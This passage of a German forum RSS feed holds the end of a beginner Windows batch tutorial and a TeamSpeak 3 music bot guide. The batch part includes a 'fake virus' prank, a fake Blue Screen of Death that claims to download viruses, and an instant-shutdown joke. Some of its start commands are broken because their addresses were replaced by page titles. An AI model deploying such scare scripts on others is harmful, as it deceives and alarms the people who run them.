</div>Das Fenster, also deine Anwendung, wir danach benannt. Dort wo dein Dein Titel steht ... nun ja... gib dort<br />
deinen Wunschtitel ein.<br />
<br />
<b><u>2.0.3 color</u></b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">color Farcode</code><hr />
</div>(Am besten immer ganz oben setzen.)<br />
Dieser Code färbt das Fenster und/oder die Schrift. Farbcode wird dann, logischer Weise, durch einen Farbcode<br />
ersetzt, auf den ich dann weiter unten eingehen werde.<br />
<br />
<b><u>2.0.4 Pause</u></b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">pause</code><hr />
</div>Das Programm stopt, und wartet bis der Benutzer die beliebige Taste drückt.<br />
(Ich weiß bis heute nicht wo diese ist)<br />
<br />
<b><u>2.0.5 cls</u></b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">cls</code><hr />
</div>CLS löscht alles, was vorher geschrieben wurde.<br />
<br />
<b><u>2.0.6 EXIT</u></b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">exit</code><hr />
</div>Wird am besten am Ende gesetzt, außer du willst deine Anwendung schon vorher beenden...<br />
<br />
2.0.7 Shutdown<br />
Benutzt du diesen Code, wir der PC herunter gefahren.<br />
<br />
Du kannst aber noch hinzufügen:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/i</code><hr />
</div>Zeigt eine grafische Benutzeroberfläche an.<br />
Dies muss die erste Option sein<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/l</code><hr />
</div>Abmelden. Dies kann nicht mit den Optionen /m oder /d verwendet werden.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/s</code><hr />
</div>Fährt den PC herunter.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/r</code><hr />
</div>Fährt den Computer herunter und startet ihn neu. Nach dem Neustart<br />
des Systems werden registrierte Anwendungen neu gestartet.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/p</code><hr />
</div>Schaltet den lokalen Computer ohne Zeitlimitwarnung aus.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/h</code><hr />
</div>Versetzt den lokalen Computer in den Ruhezustand.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/t xxx</code><hr />
</div>Legt die Zeitüberschreitungperiode vor dem Herunterfahren fest.<br />
Gültiger Bereich: 0-315360000 &lt;10 Jahre&gt;, der Standartwerte ist 30.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/c &quot;Kommentar&quot;</code><hr />
</div>Kommentar bezüglich des Herunterfahrens. Max. 512 Zeichen.<br />
<br />
<b>Beispiel:</b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Shutdown /p /c &quot;Tja...SHUTDOWN!&quot;</code><hr />
</div>Das z.B. fährt den PC sofort runter mit dem Commentar: Tja...SHUTDOWN!<br />
<br />
<b><u>2.1 Farbcodes</u></b><br />
<br />
Hier die vorher erwähnten Farbcodes.<br />
<br />
Die erste Zahl/Der erste Buchstabe ist immer die Hintergrundfarbe.<br />
Die zweite Zahl/Der zweite Buchstabe ist immer die Schriftfarbe.<br />
<br />
Also wäre 04 z.B. Schwarzer Hintergrund und Dunkelrote Schrift.<br />
<br />
0 = <font color="Black">Schwarz</font><br />
1 = <font color="RoyalBlue">Dunkelblau</font><br />
2 = <font color="SeaGreen">Dunkelgrün</font><br />
3 = <font color="Cyan">Blaugrün</font><br />
4 = <font color="DarkRed">Dunkelrot</font><br />
5 = <font color="DarkOrchid">Lila</font><br />
6 = <font color="Sienna">Ocker</font><br />
7 = <font color="Silver">Hellgrau</font><br />
8 = <font color="Gray">Dunkelgrau</font><br />
9 = <font color="DeepSkyBlue">Blau</font><br />
A = <font color="Lime">Grün</font><br />
B = Zyan<br />
C = <font color="Red">Rot</font><br />
D = <font color="Magenta">Mangenta</font><br />
E = <font color="Yellow">Gelb</font><br />
F = <font color="White">Weiß</font><br />
<br />
<b><u>2.2 Beispiele</u></b><br />
<br />
Mit dem bis jetzt erlernten, könnte der Code z.B. so aussehen.<br />
Ich nehme einfach das klischehafte Hello World.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">@echo off<br />
color 0A<br />
title Hello World!<br />
echo.<br />
echo.<br />
echo //Hello World\\<br />
echo.<br />
echo.<br />
echo Ich habe eine Batdatei erstellt!<br />
echo.<br />
pause<br />
cls<br />
echo Na toll nun ist alles weg.<br />
pause<br />
exit</code><hr />
</div>Kopiere den Code doch einfach in deine Datei, dann siehst du was das alles bewirtk.<br />
<br />
<b><u>3.0 Befehl start</u></b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">start NAME</code><hr />
</div>Der Befehl ist sicher ein ziemlich wichtiger. Also... meiner Meinung nach.<br />
Denn damit kann man andere Datein, Programme oder Websides aufrufen.<br />
<br />
Man kann Websides aufrufen da die Adresse angegeben, und dann durch den Standartbrowser<br />
angezeigt wird.<br />
<br />
Wenn man will kann man sogar neue Textdokumente erstellen.<br />
<br />
<b>Beispiele:</b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">start u-hacks - united to hack<br />
<br />
start Neu Textdokument.txt | Erstellt neues Textdokument<br />
<br />
start C:// | Öffnet die Festplatte C<br />
<br />
start calc.exe</code><hr />
</div>usw.<br />
<br />
<b><u>4.0 Befehl goto</u></b><br />
<br />
Hier lege ich dir einen wirklich sehr wichtigen Befehl ans Herz:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">goto:</code><hr />
</div>Er ist meiner Meinung nach der WICHTIGSTE Befehl, von denen die ich hier erkläre.<br />
Du kannst mit ihm der Anwendung sagen das es nicht von Teil A zu Teil B zu springen<br />
sonder erst nach C und dann nach A.<br />
<br />
Er braucht immer ein Gegenstück.<br />
Das heißt dort wo du hinspringen willst muss z.B. :A hin.<br />
Danach machst du goto A , dort wird die Anwendung dann hinspringen.<br />
<br />
<b>Beispiel:</b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">:A<br />
[<br />
Irgend<br />
ein<br />
Code<br />
]<br />
goto C<br />
:B<br />
[<br />
Nochmal<br />
Irgend<br />
ein<br />
Code<br />
]<br />
goto A<br />
:C<br />
[<br />
Ebenfalls<br />
Nocmal<br />
Irgend<br />
ein<br />
Code<br />
]<br />
goto B</code><hr />
</div><b><u>5.0 Menü erstellen</u></b><br />
<br />
Das ist auch was ganz reizvolles, was mir auch sehr gefällt.<br />
Ein Menü in BATCH erstellen.<br />
<br />
Diesmal ist das aber weniger nur ein Befehl, sondern eher ein ganzer Code.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">:main<br />
echo Um das Menü zu benützen gib eine Nummer an und drücke Enter.<br />
echo.<br />
echo 1. Youtube<br />
echo 2. Google<br />
echo 3. Exit<br />
set /p menu=))<br />
if not defined menu goto main<br />
if %menu%==1 (<br />
set menu=<br />
start elitepvpers - play less, get more<br />
goto main<br />
)<br />
if %menu%==2 (<br />
set menu=<br />
start Google<br />
goto main<br />
)<br />
if &amp;menu%==3 exit</code><hr />
</div><br />
<b><u>6.0 Schleifen</u></b><br />
<br />
Schleifen sind eigentlich per GOTObefehl machbar.<br />
Ein gutes Beispiel dafür, ist ein schlechter Matrixcode<br />
<br />
<b><u>6.1 Matrixcode erstellen</u></b><br />
<br />
Es geht ganz einfach und ist witzig.<br />
<br />
<b>Beispiel:</b> (Desto mehr Zeilen, desto besser wirkt er!)<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">@echo off<br />
color 0a<br />
:TOP<br />
title MATRIX Code<br />
echo L k 1 H 5 9 c h 4 1 L k d 1 ) b K &quot; F l L a d L d ? a 1 c K 1 T L K<br />
echo 2 K l A e z K D s L k A s F k U A l i 5 A 1 9 8 G h U 3 C A L 1 4 5<br />
echo 0 l a 4 0 2 4 5 4 1 C l s 1 o A k 2 A f 9 M 1 O p A 4 X 2 K 4 A ä S<br />
echo a 9 D y W l 1 r Z l A d I s O 1 8 I a C v K X 3 L f X 4 a 1 l f A L<br />
echo E 0 1 L c 3 L a 8 U Y p 2 A 4 6 2 5 P a A T 1 U z F h G 1 L D G 9 X<br />
echo 1 a 5 A 5 k A 4 Q x C 5 1 L 1 Z c L 1 3 h $ a K A 2 F g I 4 F V M a<br />
goto:TOP</code><hr />
</div><br />
<b><u>7.0 Fakeviren</u></b><br />
<br />
Das Thema lass ich aus. Es gibt genug auf Youtube...<br />
Aber vorallem wenn ihr das hier durchgelesen habt, könnt ihr das auch<br />
einfach machen. Aber damit ihr überhaupt was zu Gesicht bekommt,<br />
poste ich den <i>Screen of Death</i>.<br />
<br />
<b>Screen of Death:</b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">@echo off<br />
cd /<br />
cls<br />
color 17<br />
echo A problem has been detected and Windows has been shut down to prevent damage<br />
echo to your computer.<br />
echo.<br />
echo The problem seems to be caused by the following file: SPCMDCON.SYS<br />
echo.<br />
echo PAGE_FAULT_IN_NONPAGED_AREA<br />
echo.<br />
echo If this is the first time you've seen this stop error screen,<br />
echo restart your computer. If this screen appears again, follow<br />
echo these steps:<br />
echo.<br />
echo Check to make sure any new hardware or software is properly installed.<br />
echo If this is a new installation, ask your hardware or software manufacturer<br />
echo for any Windows updates you might need.<br />
echo.<br />
echo If problems continue, disable or remove any newly installed hardware<br />
echo or software. Disable BIOS memory options such as caching or shadowing.<br />
echo If you need to use Safe Mode to remove or disable components, restart<br />
echo your computer, press F8 to select Advanced Startup Options, and then<br />
echo select Safe Mode.<br />
echo.<br />
echo Technical information:<br />
echo.<br />
echo *** STOP: 0x00000050 (0xFD3094C2,0x00000001,0xFBFE7617,0x0000 0000)<br />
echo.<br />
echo.<br />
echo *** SPCMDCON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c<br />
pause :nul<br />
cls<br />
echo Downloading viruses . . .<br />
ping localhost -n 5 :nul<br />
dir /s<br />
pause :nul</code><hr />
</div>Geht nicht auf jedem PC.<br />
<br />
<b><font size="5">ENDE</font></b>
</div>
</div>
</div><br />
<font size="1">(Ein Danke für diese Tat wäre glaube ich das Minimum!)</font><br />
<b>Mit freundlichen Grüßen</b><br />
<i>MC Phlegmatisch</i></div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>MC Phlegmatisch</dc:creator>
			<guid isPermaLink="true">tutorials-107/bat-batch-tutorial-9972</guid>
		</item>
		<item>
			<title><![CDATA[[Tutorial] Teamspeak³ Musikbot]]></title>
			<link>tutorials-107/tutorial-teamspeak-musikbot-2686?goto=newpost</link>
			<pubDate>Sun, 11 Dec 2011 16:51:05 GMT</pubDate>
			<description>Heeeeeyho,  
 
da heute mal wieder ein verregneter Sonntag Nachmittag ist und ich Langeweile habe, hab ich hier ein kleines Tutorial für euch, wie...</description>
			<content:encoded><![CDATA[<div>Heeeeeyho, <br />
<br />
da heute mal wieder ein verregneter Sonntag Nachmittag ist und ich Langeweile habe, hab ich hier ein kleines Tutorial für euch, wie ihr euren eigenen Teamspeak 3 Musik bot erstellen könnt. <br />
Das ganze wird ohne Virtual PC und ohne einen VPS ablaufen, sondern ganz einfach mit eurem Teamspeak³ Clienten auf eurem PC! Ihr hört euch oder andere nicht doppelt, oder sonstiges. Sowie immer könnt ihr auf eurem Teamspeak Server Chillen, Plaudern oder was auch immer sonst ihr dort macht. Der Bot wird ein eigener User sein. <br />
<br />
<b><u>Voraussetzungen:</u></b><br />
&#8226; Teamspeak³ Client<br />
&#8226; Brain.exe<br />
&#8226; Winamp (<a href="http://www.chip.de/downloads/Winamp-Full_13005714.html" target="_blank" rel="nofollow">Kostenlos Downloaden</a>)<br />
&#8226; Virtual Audio Cable<br />
&#8226; Musik zum abspielen (logischer weise!)<br />
&#8226; 5 - 10 Minuten Zeit.<br />
<br />
<b><u>Schritt 1:</u></b><br />
Ich gehe nun davon aus, das ihr die o.g Programme erfolgreich installiert habt.<br />
Zuerst startet ihr das Programm <b>Virtual Audio Cable</b> und seht oben Links in der Ecke die Box &quot;Driver Parameters&quot;. Dort macht ihr nun aus der 1 eine 2 (Für 2 Audioeingänge) dann auf &quot;Set&quot; klicken und danach einfach Exit. Damit wäre das Programm ab sofort für uns gegessen. <br />
Als nächstes öffnen wir <b>Winamp</b>. Gehen auf &quot;Optionen -&gt; Einstellungen -&gt; Plugins -&gt; Ausgabe&quot;, dann wählen wir den 2ten Menü Punkt aus und klicken unten auf &quot;Konfigurieren&quot;. Nun wählen wir dort in dem Dropdown Menü &quot;Line 2&quot; aus (Dies ist Später für die Einstellung im Teamspeak³ Client wichtig!), danach &quot;Übernehmen&quot; und dann &quot;OK&quot;.<br />
<br />
<b><u>Schritt 2:</u></b><br />
Nun öffnet ihr euren <b>Teamspeak³ Client </b>und klickt oben auf &quot;Einstellungen -&gt; Identitäten -&gt; Hinzufügen&quot; und fügt dort eine Identität ein und klickt danach auf OK. <br />
Nun verbindet ihr euch ganz Normal mit eurem eigentlich Nickname auf den Teamspeak Server. Danach klickt ihr oben nochmals auf Verbinden, wählt bei &quot;Identitäten&quot; eure soeben neu erstelle Identität aus und klickt auf &quot;In neuem Tab&quot;. Nun habt ihr zwei Tab's, mit zwei verschiedenen Usern - hört momentan aber noch alles mit einem Echo o.Ä. Deshalb klickt ihr nun bei eurer zweiten Identität auf &quot;Einstellungen -&gt; Optionen -&gt; Wiedergabe&quot; und dann unten auf &quot;Hinzufügen&quot;. Nun erstellen wir erst mal ein neues Profil für die Wiedergabe (damit ihr nicht alles Doppelt und Dreifach hört!), dafür stellen wir bei &quot;Wiedergabe Gerät&quot; einfach &quot;Line 1&quot; ein und klickt auf &quot;Anwenden&quot;. <br />
Damit eure Identität nun auch nur die Musik wiedergibt und nicht das was ihr in eurer Mikrofon rein schreit, geht ihr nun Links auf &quot;Aufnahme&quot;. Dort spielen wir wieder das gleiche Spiel:  Neues Profil erstellen aber diesmal bei &quot;Aufnahme Gerät&quot; klicken wir &quot;Line 2&quot; an und klicken wie eben auch auf &quot;Anwenden&quot;. <br />
<br />
So nun sollte eigentlich alles Funktionieren. Schmeißt euer Winamp in gang, haut Musik in die Wiedergabe Liste und nun müsste eure eben erstelle Identität fröhlich vor sich hin dudeln. <br />
Ich würde vielleicht einen Musik Channel auf eurem Teamspeak³ Clienten, mit den besten Einstellungen, erstellen. <br />
<br />
So bei Fragen oder Problemen stehe ich gerne per PM zur Verfügung. hihio<br />
<br />
Mfg!<br />
<br />
#self Report to Close</div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>Prinzessin Paat</dc:creator>
			<guid isPermaLink="true">tutorials-107/tutorial-teamspeak-musikbot-2686</guid>
		</item>
	</channel>
</rss>
